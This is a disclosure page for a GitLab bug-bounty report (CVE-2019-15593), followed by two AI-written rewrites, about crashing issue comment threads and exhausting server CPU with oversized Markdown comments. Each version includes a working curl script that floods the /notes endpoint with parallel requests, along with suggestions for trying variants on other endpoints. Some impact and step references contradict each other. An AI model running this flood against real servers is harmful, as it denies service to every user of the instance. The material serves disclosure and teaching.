Skip to content
DoS Disclosed report Beginner CVE-2019-15593

DoS attack via comment on Issue

Issue comments have no length limit, so a very long comment can break the page that loads comments and, when sent repeatedly, exhaust server CPU. An attacker could make all comments on an issue unreadable and cause a denial of service for other users.

8ayac Follow

Originally disclosed on HackerOne

Bounty$1,000 Low View original
  • Triaged in 17 days
  • Fixed in 5 months
  • Paid in 5 months
  • Disclosed after 7 months

Summary

There is no limit to the number of characters in the issue comments, which allows a DoS attack. The DoS attack affects both server-side and client-side.

NOTE: This bug happens on GitLab.com.

Steps to reproduce

▼Attack for Client-side

  1. Sign in to GitLab.
  2. Create a project as below:
    • Project name: test01
    • Project slug: test01
    • Visibility Level: Public
    • Initialize repository with README: Checked
  3. Create a new issue for the project created in Step 2.
  4. Post some comments on the Issue created in Step 3.
  5. Post a comment as below:

[a](/a/a/a/a/a/a/a/a/a/a/a/a/a/a.....(50000 times)) 6. Reload the Issue page.

Result: I received an error message "Something went wrong while fetching comments. Please try again." And I could not fetch all the comments.

Note: In Step 5, if you can not post the comment from the browser, send the HTTP request directly in some way. Note: The string to post in step 5 is described in the attached file F481358.

  • PoC movie: F481363

▼Attack for Server-side An attacker can exhaust server resources by continuously sending the requests generated in Step 5 of [Attack for Client-side]. This causes a denial of service to all users.

For example, you can verify it with a script as below:

Shell
#!/bin/sh
charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g')
payload='[a]('$charBlock')'

gitlabHost=$1
ProjectURL=$2
targetID=$3
loop=$4

curl=`cat << EOS
curl
  --insecure
  --silent
  --output /dev/null
  ${ProjectURL}/notes?target_id=${targetID}\&target_type=issue
  --header 'Host: ${gitlabHost}'
  --header 'X-CSRF-Token: [PLACEHOLDER]'
  -b '_gitlab_session=[PLACEHOLDER]'
  --data-binary 'note%5Bnoteable_type%5D=Issue&note%5Bnoteable_id%5D=3&note%5Bnote%5D=${payload}&merge_request_diff_head_sha=undefined'
EOS`

for i in `seq ${loop}`
do
    eval ${curl}&
done

Run the above script with the following command to see that the server's CPU is exhausted.

$ ./poc.sh [GitLab host] [Project URL] [target ID(※1)] [Repeat count of request]

※1: Get from the request generated in step 5 of [Client-side attack].

  • PoC movie: F481365

Results of GitLab environment info

System information
System:
Current User:   git
Using RVM:      no
Ruby Version:   2.5.3p105
Gem Version:    2.7.6
Bundler Version:1.17.3
Rake Version:   12.3.2
Redis Version:  3.2.12
Git Version:    2.18.1
Sidekiq Version:5.2.5
Go Version:     unknown

GitLab information
Version:        11.10.2
Revision:       f3e84e78b62
Directory:      /opt/gitlab/embedded/service/gitlab-rails
DB Adapter:     PostgreSQL
DB Version:     9.6.11
URL:            https://gitlab.example.com
HTTP Clone URL: https://gitlab.example.com/some-group/some-project.git
SSH Clone URL:  [email protected]:some-group/some-project.git
Using LDAP:     no
Using Omniauth: yes
Omniauth Providers:

GitLab Shell
Version:        9.0.0
Repository storage paths:
- default:      /var/opt/gitlab/git-data/repositories
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell
Git:            /opt/gitlab/embedded/bin/git

Impact

Impact for client-side

All comments on Issue will be inaccessible.

Impact for server-side:

The CPU is exhausted and users will be able to access the GitLab service.

NOTE: All users who can comment on the issue can exploit this vulnerability.

Attachments

The original report as published on HackerOne, by 8ayac. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

GitLab issues carry a comment thread, and the web front end fetches those comments to render them on the issue page. The report concerns GitLab.com, the hosted instance, and the weakness class is uncontrolled resource consumption: the number of characters allowed in an issue comment is not limited, so a single comment can be made large enough to break both the client-side rendering of the thread and, when posted repeatedly, the server that processes it.

The researcher notes that the bug happens on GitLab.com. The environment information included in the report describes a self-managed installation running GitLab 11.10.2 (revision f3e84e78b62), Ruby 2.5.3p105, PostgreSQL 9.6.11, Redis 3.2.12, Sidekiq 5.2.5 and GitLab Shell 9.0.0, with the URL shown as https://gitlab.example.com.

Setup

To reproduce the client-side behaviour you need a signed-in GitLab account and a project you can create. The report's project settings are:

  • Project name: test01
  • Project slug: test01
  • Visibility Level: Public
  • Initialize repository with README: Checked

No special role is required beyond the ability to comment on an issue. The report states that all users who can comment on the issue can exploit the vulnerability.

Finding it

The researcher observed that issue comments have no limit on the number of characters. A comment containing a Markdown link whose target is a very long path produces a comment that the front end cannot handle when it fetches and displays the thread. The same oversized comment, submitted repeatedly, drives server-side resource consumption.

Exploitation

Step 1: sign in and create the project

Sign in to GitLab and create a project with the settings listed above (name test01, slug test01, Public visibility, README initialised).

Step 2: create an issue

Create a new issue in the project from Step 1.

Step 3: post comments

Post some comments on that issue. These are the comments that will later become inaccessible.

Step 4: post the oversized comment

Post a comment containing a Markdown link whose target repeats the path segment /a many times:

Text
[a](/a/a/a/a/a/a/a/a/a/a/a/a/a/a.....(50000 times))

The report notes that if the comment cannot be posted from the browser, the HTTP request can be sent directly in some way. The exact string to post is provided in the attached file F481358.

Step 5: reload the issue page

Reload the issue page. The result is an error message, "Something went wrong while fetching comments. Please try again.", and none of the comments can be fetched. A proof-of-concept movie, F481363, accompanies this client-side attack.

Server-side: exhausting CPU with repeated requests

The server-side attack takes the request generated in Step 4 and sends it continuously. The report says this exhausts server resources and causes a denial of service to all users. The following script demonstrates it:

Shell
#!/bin/sh
charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g')
payload='[a]('$charBlock')'

gitlabHost=$1
ProjectURL=$2
targetID=$3
loop=$4

curl=`cat << EOS
curl
  --insecure
  --silent
  --output /dev/null
  ${ProjectURL}/notes?target_id=${targetID}\&target_type=issue
  --header 'Host: ${gitlabHost}'
  --header 'X-CSRF-Token: [PLACEHOLDER]'
  -b '_gitlab_session=[PLACEHOLDER]'
  --data-binary 'note%5Bnoteable_type%5D=Issue&note%5Bnoteable_id%5D=3&note%5Bnote%5D=${payload}&merge_request_diff_head_sha=undefined'
EOS`

for i in `seq ${loop}`
do
    eval ${curl}&
done

The script builds the payload from 50,000 zero bytes, each replaced by /a, and wraps the result in a Markdown link. It then issues a POST to the project's /notes endpoint with target_id and target_type=issue in the query string, a Host header, a CSRF token header and the _gitlab_session cookie, and a form-encoded body setting note[noteable_type]=Issue, note[noteable_id]=3, the oversized note[note] and merge_request_diff_head_sha=undefined. The loop runs the request the requested number of times, backgrounding each one.

Run it with the following command to see that the server's CPU is exhausted:

Text
$ ./poc.sh [GitLab host] [Project URL] [target ID(※1)] [Repeat count of request]

※1: the target ID is obtained from the request generated in Step 4 of the client-side attack. A second proof-of-concept movie, F481365, accompanies the server-side attack.

Root cause

The report attributes the issue to the absence of a limit on the number of characters in issue comments. Because a comment can carry an arbitrarily long Markdown link target, the client cannot fetch and render the comment thread, and the server spends CPU processing the oversized note when such requests are repeated. The report does not describe the specific code path or any validation that was present or missing; the absence of a length limit is the stated cause.

Impact

For the client side, all comments on the issue become inaccessible: the page shows the fetch error instead of the thread. For the server side, the CPU is exhausted and, as the report puts it, users will be able to access the GitLab service. The report notes that all users who can comment on the issue can exploit the vulnerability, so the precondition is simply the ability to post a comment.

Fix

The report does not describe a fix or a change made in response.

Variants to test

  • Other Markdown-rendered fields on the same platform: post an oversized link target in merge request notes, commit comments, snippets or descriptions and reload the page. A positive result is the same fetch error or a thread that fails to render.
  • Other endpoints that accept a note body: replay the POST to the corresponding notes endpoint for a different noteable type and observe whether the server-side CPU behaviour repeats.
  • Different oversized Markdown constructs: instead of a long link target, try a very long plain string or a long sequence of other Markdown syntax and check whether rendering or fetching breaks.
  • Length boundaries: determine where the client-side failure begins by increasing the payload size, to characterise the missing limit.

Hunting notes

This kind of bug hides in free-text fields that are stored and later rendered, especially Markdown fields on issue trackers and comment systems. The report showed impact in two ways: a reproducible client-side error on the issue page, and a script that drives server CPU by repeating the same request, which is what turns a rendering annoyance into a denial of service affecting all users. The precondition is low, since any user who can comment can send the request.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

GitLab is a website where teams keep their code and track work. One of its features is the issue: a page where people discuss a task, a bug or an idea. Under each issue there is a comment thread, a list of messages people have added. When you open an issue page, your browser does not receive the whole thread inside the page itself. Instead, a small program running in the page asks the GitLab server for the comments separately and then draws them on screen. That kind of behind-the-scenes request is what people call an API call: one piece of software asking another for data, usually in a structured format, without a human clicking anything.

The researcher found that GitLab did not limit how many characters a single issue comment could contain. You could paste a comment of essentially any size. That is the whole weakness: a field that accepts unlimited text, and code that later has to process all of it. Security people call this uncontrolled resource consumption: something the program must spend time, memory or processing power on is not capped, so a user can make it spend far more than intended. A simple comparison: a restaurant that lets any customer order an unlimited number of dishes will eventually run out of kitchen capacity, no matter how polite each individual order is.

The report shows two consequences of the same missing limit:

  1. Client side. One huge comment is enough to break the comment thread in the browser. The page can no longer fetch and display the comments, so the discussion becomes unreadable for everyone.
  2. Server side. If the same huge comment is sent over and over, the server's CPU (the part of the computer that does the actual calculating) is kept busy, and the service slows down or stops responding for all users. That is a denial of service, often shortened to DoS: making a service unavailable to the people who need it, without breaking into anything.

The researcher notes that the bug happens on GitLab.com, the hosted version of GitLab that anyone can sign up to. The report also includes environment details from a self-managed installation, which is GitLab that an organisation runs on its own machines. Those details describe GitLab 11.10.2 (revision f3e84e78b62), Ruby 2.5.3p105, PostgreSQL 9.6.11, Redis 3.2.12, Sidekiq 5.2.5 and GitLab Shell 9.0.0, with the URL shown as https://gitlab.example.com. You do not need to understand each of those names to follow the attack; they simply describe which software versions were in use when the researcher looked.

Setting up

To repeat the client-side part you need two things: a GitLab account you are signed in to, and permission to create a project. A project in GitLab is a container for code and its related issues. The researcher created one with these settings:

  • Project name: test01
  • Project slug: test01
  • Visibility Level: Public
  • Initialize repository with README: Checked

A slug is the short, URL-friendly version of a name, the part that appears in the web address. Public visibility means anyone can see the project, not just invited members. Ticking the README box makes GitLab create a small starter file so the project is not empty.

No special role is needed beyond being able to comment on an issue. The report states that all users who can comment on the issue can exploit the vulnerability, so an ordinary account is enough.

Finding it

The researcher noticed that issue comments have no limit on the number of characters. The payload is a Markdown link, a simple way of formatting text with plain characters: [text](address) becomes a clickable link, where the part in square brackets is the label and the part in round brackets is where the link points. A Markdown link whose target is an extremely long path produces a comment that the front end cannot handle when it fetches and displays the thread. The same oversized comment, submitted repeatedly, drives server-side resource consumption.

Exploitation

Step 1: sign in and create the project

Sign in to GitLab and create a project with the settings listed above: name test01, slug test01, Public visibility, README initialised.

Step 2: create an issue

Create a new issue in the project from Step 1. The issue is the page that will hold the comment thread.

Step 3: post comments

Post some ordinary comments on that issue. These are the comments that will later become inaccessible, which is how you will see the effect: normal messages that suddenly cannot be loaded.

Step 4: post the oversized comment

Post a comment containing a Markdown link whose target repeats the path segment /a many times:

Text
[a](/a/a/a/a/a/a/a/a/a/a/a/a/a/a.....(50000 times))

Line by line: [a] is the visible label of the link, the single letter a. The round brackets contain the destination, a path made of the segment /a repeated. The result is one enormous link target inside one comment.

The report notes that if the comment cannot be posted from the browser, the HTTP request can be sent directly in some way. HTTP is the language browsers and servers use to exchange pages and data; a request is one message from the browser asking the server to do something. Sending it directly means using a tool other than the normal comment box, for example a script, to produce the same message the browser would have sent. The exact string to post is provided in the attached file F481358.

Step 5: reload the issue page

Reload the issue page. The result is an error message, "Something went wrong while fetching comments. Please try again.", and none of the comments can be fetched. Reloading is the test: the page asks the server for the thread again. A proof-of-concept movie, F481363, accompanies this client-side attack.

Server-side: exhausting CPU with repeated requests

The server-side attack takes the request generated in Step 4 and sends it continuously. The report says this exhausts server resources and causes a denial of service to all users. The following script demonstrates it:

Shell
#!/bin/sh
charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g')
payload='[a]('$charBlock')'

gitlabHost=$1
ProjectURL=$2
targetID=$3
loop=$4

curl=`cat << EOS
curl
  --insecure
  --silent
  --output /dev/null
  ${ProjectURL}/notes?target_id=${targetID}\&target_type=issue
  --header 'Host: ${gitlabHost}'
  --header 'X-CSRF-Token: [PLACEHOLDER]'
  -b '_gitlab_session=[PLACEHOLDER]'
  --data-binary 'note%5Bnoteable_type%5D=Issue&note%5Bnoteable_id%5D=3&note%5Bnote%5D=${payload}&merge_request_diff_head_sha=undefined'
EOS`

for i in `seq ${loop}`
do
    eval ${curl}&
done

Line by line, in plain words:

  • #!/bin/sh tells the operating system which program should run the script. Here it is the standard shell, the text-based command interpreter on Linux and macOS.
  • charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g') builds the long part of the payload. head -c 50000 /dev/zero produces 50,000 zero bytes, and sed replaces every zero byte with the two characters /a. The result is stored in a variable called charBlock. A variable is a named box that holds a value for later use.
  • payload='[a]('$charBlock')' wraps that long string in Markdown link syntax, exactly like the comment in Step 4, and stores it in payload.
  • gitlabHost=$1, ProjectURL=$2, targetID=$3 and loop=$4 read the four values you pass on the command line: the GitLab host name, the project's web address, the target ID and how many times to repeat. $1 means the first argument, $2 the second, and so on.
  • The curl=\cat << EOS ... EOS`block builds the text of acurlcommand. **curl** is a command-line tool for sending HTTP requests. The text is assembled with the variables filled in, then stored in a variable calledcurl`.
  • --silent hides progress output. --output /dev/null throws away the response body, because the script only cares that the request was sent.
  • ${ProjectURL}/notes?target_id=${targetID}\&target_type=issue is the address being called. /notes is the endpoint that accepts new comments. The part after the ? is the query string, extra values attached to the address. target_id says which item the comment belongs to, and target_type=issue says that item is an issue.
  • --header 'Host: ${gitlabHost}' sets the Host header, which tells the server which site name the request is for. A header is a small labelled piece of information attached to a request, like the address block on an envelope.
  • --header 'X-CSRF-Token: [PLACEHOLDER]' sends a CSRF token. CSRF stands for cross-site request forgery, an attack where another website tricks your browser into sending a request you did not intend. To prevent it, GitLab gives each page a secret value that must be sent back with any action that changes data. The report shows it as a placeholder, meaning you fill in the real value from your own session.
  • -b '_gitlab_session=[PLACEHOLDER]' sends a cookie. A cookie is a small piece of data the browser stores for a site and sends back with every request; the _gitlab_session cookie is what tells GitLab which signed-in user is making the request. Again the report uses a placeholder, so you supply your own value.
  • --data-binary 'note%5Bnoteable_type%5D=Issue&note%5Bnoteable_id%5D=3&note%5Bnote%5D=${payload}&merge_request_diff_head_sha=undefined' is the body of the request, the actual form contents. The %5B and %5D sequences are the encoded forms of [ and ], so the field names are really note[noteable_type], note[noteable_id], note[note] and merge_request_diff_head_sha. The first says the comment is on an Issue, the second gives the issue's number (3 in the example), the third carries the enormous payload, and the last is an extra field set to undefined.
  • for i in \seq ${loop}`` starts a loop that repeats once for each number from 1 up to the repeat count. A loop is simply code that runs the same steps again and again.
  • eval ${curl}& runs the assembled curl command. The & at the end puts it in the background, so the script starts the next request without waiting for the previous one to finish. That is what produces many simultaneous requests.

Run it with the following command to see that the server's CPU is exhausted:

Text
$ ./poc.sh [GitLab host] [Project URL] [target ID(※1)] [Repeat count of request]

Line by line: ./poc.sh runs the script file in the current folder. The four bracketed items are the values you replace: the GitLab host name, the project's web address, the target ID and how many times to repeat the request. ※1 explains where the target ID comes from: it is obtained from the request generated in Step 4 of the client-side attack. In other words, the target ID is taken from the request generated in Step 5 of the client-side attack. A second proof-of-concept movie, F481365, accompanies the server-side attack.

Root cause

The report attributes the issue to the absence of a limit on the number of characters in issue comments. Because a comment can carry an arbitrarily long Markdown link target, the client cannot fetch and render the comment thread, and the server spends CPU processing the oversized note when such requests are repeated. The report does not describe the specific code path or any validation that was present or missing; the absence of a length limit is the stated cause.

Impact

For the client side, all comments on the issue become inaccessible: the page shows the fetch error instead of the thread. For the server side, the CPU is exhausted and, as the report puts it, users will be able to access the GitLab service. The report notes that all users who can comment on the issue can exploit the vulnerability, so the precondition is simply the ability to post a comment.

Fix

The report does not describe a fix or a change made in response.

Variants to test

  • Other Markdown-rendered fields on the same platform: post an oversized link target in merge request notes, commit comments, snippets or descriptions and reload the page. A positive result is the same fetch error or a thread that fails to render.
  • Other endpoints that accept a note body: replay the POST to the corresponding notes endpoint for a different noteable type and observe whether the server-side CPU behaviour repeats.
  • Different oversized Markdown constructs: instead of a long link target, try a very long plain string or a long sequence of other Markdown syntax and check whether rendering or fetching breaks.
  • Length boundaries: determine where the client-side failure begins by increasing the payload size, to characterise the missing limit.

Hunting notes

This kind of bug hides in free-text fields that are stored and later rendered, especially Markdown fields on issue trackers and comment systems. The report showed impact in two ways: a reproducible client-side error on the issue page, and a script that drives server CPU by repeating the same request, which is what turns a rendering annoyance into a denial of service affecting all users. The precondition is low, since any user who can comment can send the request.

Glossary

  • API: a way for one piece of software to ask another for data or to perform an action, without a human clicking through pages.
  • Client side: everything that happens in the user's browser, on the user's own computer.
  • Server side: everything that happens on the machine hosting the service, which the user never sees directly.
  • Comment thread: the list of comments shown under an issue.
  • Issue: a GitLab page used to discuss and track a task, bug or idea.
  • Project: a GitLab container for code and its related issues and comments.
  • Slug: the short, URL-friendly form of a name, used in web addresses.
  • Public visibility: a setting meaning anyone can see the project, not only invited members.
  • Markdown: a simple text formatting language where plain characters create links, bold text and so on.
  • Uncontrolled resource consumption: a weakness where something the program must spend time, memory or processing power on is not capped, so a user can make it spend far more than intended.
  • CPU: the part of a computer that performs calculations; when it is exhausted, the machine cannot do other work quickly.
  • Denial of service (DoS): making a service unavailable to the people who need it, without breaking into anything.
  • HTTP: the language browsers and servers use to exchange pages and data.
  • Request: one message from a browser or tool asking a server to do something.
  • Endpoint: a specific address on a server that accepts a particular kind of request, such as /notes for posting comments.
  • Query string: the extra values attached to an address after a ?.
  • Header: a small labelled piece of information attached to a request, like the address block on an envelope.
  • Cookie: a small piece of data the browser stores for a site and sends back with every request; here it identifies the signed-in user.
  • CSRF token: a secret value a site gives each page and expects back with actions that change data, to stop other websites from forging requests.
  • CSRF: cross-site request forgery, an attack where another website tricks your browser into sending a request you did not intend.
  • Variable: a named box in a script that holds a value for later use.
  • Loop: code that repeats the same steps again and again.
  • curl: a command-line tool for sending HTTP requests.
  • Shell: the text-based command interpreter on Linux and macOS that runs scripts.
  • Payload: the part of an attack that carries the harmful content, here the enormous Markdown link.
  • Proof of concept (PoC): a demonstration that a vulnerability can actually be triggered.
  • Recon: the information-gathering phase before testing, where you look at how a site is built and which features accept input.

More by 8ayac

View all

5 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.